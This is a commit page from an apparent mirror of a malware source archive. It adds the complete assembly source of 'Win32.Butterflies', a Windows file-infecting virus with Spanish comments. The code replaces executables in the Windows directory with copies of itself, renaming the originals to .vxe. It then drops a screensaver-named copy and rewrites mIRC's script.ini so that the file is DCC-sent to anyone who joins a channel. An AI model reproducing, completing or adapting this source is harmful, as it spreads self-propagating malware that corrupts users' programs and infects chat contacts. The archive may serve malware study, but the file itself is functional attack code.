mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Updated dir structure in Win32
This commit is contained in:
@@ -0,0 +1,250 @@
|
||||
;Win32.Butterflies By Twizter/NuKe
|
||||
|
||||
.386p
|
||||
|
||||
.model flat ;Setting para el Tasm
|
||||
|
||||
.code
|
||||
|
||||
;=============================
|
||||
|
||||
extrn GetSystemDirectoryA:proc
|
||||
extrn GetWindowsDirectoryA:proc
|
||||
extrn lstrcat:proc
|
||||
extrn ExitProcess:proc
|
||||
extrn GetModuleHandleA:proc
|
||||
extrn GetModuleFileNameA:proc
|
||||
extrn FindFirstFileA:proc
|
||||
extrn FindNextFileA:proc
|
||||
extrn CopyFileA:proc
|
||||
extrn DeleteFileA:proc
|
||||
extrn MoveFileA:proc
|
||||
extrn _lopen:proc
|
||||
extrn _lwrite:proc
|
||||
extrn _lclose:proc
|
||||
extrn WinExec:proc
|
||||
extrn SetFilePointer:proc
|
||||
extrn GetCurrentDirectoryA:proc
|
||||
extrn SetCurrentDirectory:proc
|
||||
extrn _lread:proc
|
||||
extrn _lcreat:proc
|
||||
extrn SetCurrentDirectoryA:proc; Declaramos todas las funciones que vayamos a usar
|
||||
;=============================
|
||||
|
||||
include windows.inc
|
||||
|
||||
;=============================
|
||||
|
||||
_off_ equ 2722d
|
||||
_scrpt_ equ offset end_script - offset IniData1 ;Declaramos el tamaño del Script.ini
|
||||
|
||||
;=============================
|
||||
|
||||
begin:
|
||||
push 00000001 ;modo de ejecucion
|
||||
push offset cFileName ;nombre del .vxe el cual se guarda en el exe al momento
|
||||
call WinExec ; de la infeccion
|
||||
|
||||
push offset path3 ;Buffer en donde guaradar el Path
|
||||
push 260 ;Tamaño del buffer
|
||||
call GetCurrentDirectoryA ;Obtiene el path del programa
|
||||
|
||||
push 25 ;Tamaño del buffer
|
||||
push offset path2 ;Buffer en donde guaradar el Path
|
||||
call GetWindowsDirectoryA ;obtiene el path de windows
|
||||
|
||||
push offset path2
|
||||
call SetCurrentDirectoryA ;el directorio ahora es el de windows
|
||||
|
||||
push offset handle1
|
||||
call GetModuleHandleA ;obtiene el handle del modulo de la fila que se esta ejecutando
|
||||
|
||||
push 50 ;Tamaño del buffer
|
||||
push offset handle2 ;buffer
|
||||
push eax ;handle del ejecutable que acabmos de obtener con la funcion anterior
|
||||
call GetModuleFileNameA ;guardamos el path de este ejcutable en handle2
|
||||
|
||||
push offset filedta ;estructura que recibe informacion acerca de los archivos encontrados
|
||||
push offset maska ; = *.Exe
|
||||
call FindFirstFileA ;funcion de buscar archivos
|
||||
|
||||
mov dword ptr [handle_],eax ;guarda el hadle de la busqueda en _handle
|
||||
cmp eax, 0 ;si la funcion devolvio un 0 hubo un error o sea que no
|
||||
je done_this ;hay EXEs para infectar .
|
||||
|
||||
check:
|
||||
; cmp nFileSizeLow, 6000d
|
||||
; jle nextfile
|
||||
mov bx, word ptr[cFileName] ;mueve el nombre del archivo encontrado a bx
|
||||
cmp bx, 'XE' ;mira a ver si empieza por Ex , para no infectar el explorer
|
||||
je nextfile ;si empieza por ex va por el proximo archivo
|
||||
cmp bx, 'UR' ;mira a ver si empieza por Ru , para no infectar el RunDllxx
|
||||
je nextfile ;si empieza por ex va por el proximo archivo
|
||||
cmp bx, 'ur' ;lo mismo
|
||||
je nextfile ;igual
|
||||
cmp bx, 'ME' ;Em , para no infectar el Emm386.Exe
|
||||
je nextfile ;no lo infecta
|
||||
lea esi, [cFileName] ;pone en Esi el nombre del file
|
||||
lea edi, [newfilename] ;pone en edi un buffer para guardar el nombre del nuevo file
|
||||
stowit:
|
||||
lodsb ;mueve un byte de esi a Al
|
||||
cmp al, '.' ;lo compara con el punto
|
||||
je addext ; si ya encontramos el punto vamos a la rutina addext
|
||||
stosb ;mueve el byte an al a Edi
|
||||
jmp stowit ;hace un loop hasta encontrar el punto
|
||||
addext:
|
||||
stosb ;mueve el "." a Edi
|
||||
lea esi, [newext] ;pone en esi la extension vxe
|
||||
movsw ;mueve el contenido de Esi (vxe) a Edi
|
||||
movsw ;mueve el contenido de Esi (vxe) a Edi
|
||||
push 0 ;Flags
|
||||
push offset newfilename ;nombre con la extension .Vxe
|
||||
push offset cFileName ;nombre con la extension .Exe
|
||||
call MoveFileA ;convierte el .exe a . vxe
|
||||
|
||||
push 0 ;Flag
|
||||
push offset cFileName ;nombre del .exe
|
||||
push offset handle2 ;nombre del virus que se esta ejecutando
|
||||
call CopyFileA ;con esta funcion copiamos este virus con el antiguo nombre del .exe
|
||||
|
||||
push 2 ;Write_Mode
|
||||
push offset cFileName ;abrimos el .exe "infectado"
|
||||
call _lopen ;Oopen file
|
||||
|
||||
|
||||
mov dword ptr [_handle],eax ;guarda el handle del archivo abierto
|
||||
|
||||
push dword 0 ;how to move ; desde el file begin
|
||||
push NULL
|
||||
push _off_ ;offset a donde mover el puntero del file
|
||||
push eax ;handle del file
|
||||
call SetFilePointer ;movemos el puntero a la posicion donde se escribira el nombre del
|
||||
;.vxe
|
||||
|
||||
mov eax, dword ptr [_handle] ;mueve el handle a Eax
|
||||
push 50 ;numero de byes a escribir
|
||||
push offset newfilename ;bytes que vamos a escribir
|
||||
push eax ;handle del file a escribir
|
||||
call _lwrite ;de esta forma si por ejemplo infectamos write.exe , en el nuevo write.exe
|
||||
;se guardara el nombre write.vxe para luego ejecutarlo
|
||||
|
||||
push eax ;handle del archivo
|
||||
call _lclose ;close the file
|
||||
|
||||
nextfile:
|
||||
|
||||
push offset filedta ;estructura donde guardar la informacion de los archivos encontrados
|
||||
mov eax, dword ptr [handle_] ;handle de la primera busqueda
|
||||
push eax
|
||||
call FindNextFileA ;buscamos el sigueiente exe
|
||||
|
||||
cmp eax, 0 ;si no hay mas files
|
||||
je done_this :saltamos a done_this
|
||||
jmp check
|
||||
|
||||
done_this:
|
||||
|
||||
push 25 ;tamaño del buffer
|
||||
push offset path1 ;buffer donde guardar
|
||||
call GetSystemDirectoryA ; el directorio system ("C:\Windows\System\")
|
||||
|
||||
push offset handle3 ;cadena que contiene "\FlyingButterflies.scr"
|
||||
push offset path1 ;path de system
|
||||
call lstrcat ;juntamos las dos cadenas
|
||||
|
||||
push 0 ;flag
|
||||
push offset path1 ;nombre que se obtuvo en la funcion anterior
|
||||
push offset handle2 ;nombre de este file ("e.g:Virus.Exe")
|
||||
call CopyFileA ;movemos el virus al dir. system para mandarlo con Mirc
|
||||
|
||||
push 2 ;flag
|
||||
push offset MircLNK ;nombre del acceso directo de mirc
|
||||
call _lopen :lo abrimos
|
||||
|
||||
mov dword ptr [_handle],eax ;handle de mirc.lnk en Eax
|
||||
push dword 2
|
||||
push NULL
|
||||
push -50
|
||||
push eax
|
||||
call SetFilePointer ;nos movemos al offset -50 para ver el path de mirc
|
||||
mov eax, dword ptr [_handle]
|
||||
|
||||
push 50
|
||||
push offset MircDir
|
||||
push eax
|
||||
call _lread ;leemos 50 bytes en donde debe estar el path de mirc
|
||||
|
||||
push eax
|
||||
call _lclose ;cerramos el acceso directo
|
||||
|
||||
std
|
||||
lea esi, MircIni ;ponemos en Esi el path de mirc
|
||||
|
||||
get_next_byte:
|
||||
lodsb ;movemos un byte de esi a al
|
||||
cmp al, ':' ;vemos si ya encontramos los dos puntos
|
||||
jne get_next_byte ;loop
|
||||
|
||||
push offset MircIni ; = \script.ini
|
||||
push esi ;path del mirc
|
||||
call lstrcat ;juntamos los dos
|
||||
|
||||
push 0 ;flag
|
||||
push esi ;nombre del archivo script.ini
|
||||
call _lcreate ;creamos o sobreescribimos el file
|
||||
|
||||
push _scrpt_ ;numero de bytes a escribir
|
||||
push offset IniData1 ;contenido del script.ini
|
||||
push eax ;handle del archivo creado
|
||||
call _lwrite ;escribimos el archivo
|
||||
|
||||
push eax ;handle
|
||||
call _lclose ;cerramos el archivo
|
||||
|
||||
push offset path3 ;Path original
|
||||
call SetCurrentDirectoryA ;restauramos el path del principio
|
||||
|
||||
push 0
|
||||
call ExitProcess ; y terminamos
|
||||
|
||||
;=============================
|
||||
|
||||
.data
|
||||
handle1 db 50 dup(0)
|
||||
handle2 db 50 dup(0)
|
||||
maska db '*.exe',0
|
||||
|
||||
newext db 'vxe',0
|
||||
handle_ dd 0
|
||||
_handle dd 0
|
||||
filedta:
|
||||
FileAttributes dd 0
|
||||
CreationTime db 8 dup(0)
|
||||
LastAccessTime db 8 dup(0)
|
||||
LastWriteTime db 8 dup(0)
|
||||
nFileSizeHigh dd 0
|
||||
nFileSizeLow dd 0
|
||||
dwReserved0 dd 0
|
||||
dwReserved1 dd 0
|
||||
cFileName db 50 dup('N')
|
||||
cAltFileName db 14 dup(0)
|
||||
newfilename db 50 dup(0)
|
||||
|
||||
path2 db 25 dup(0)
|
||||
path3 db 260 dup(0)
|
||||
MircLNK db 'Start Menu\Programs\mIRC\mIRC32.LNK',0
|
||||
MircDir db 50 dup(0)
|
||||
|
||||
MircIni db '\script.ini',0
|
||||
Mirc_ db 'c:\mirc\script.ini',0
|
||||
IniData1:
|
||||
db '[Script]',0dh,0ah
|
||||
db 'n0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }',0dh,0ah
|
||||
db 'n1= /dcc send $nick '
|
||||
path1 db 25 dup(0)
|
||||
handle3 db '\FlyingButterflies.scr',0,'}'
|
||||
db 100 dup(0)
|
||||
end_script:
|
||||
|
||||
|
||||
end begin
|
||||
Reference in New Issue
Block a user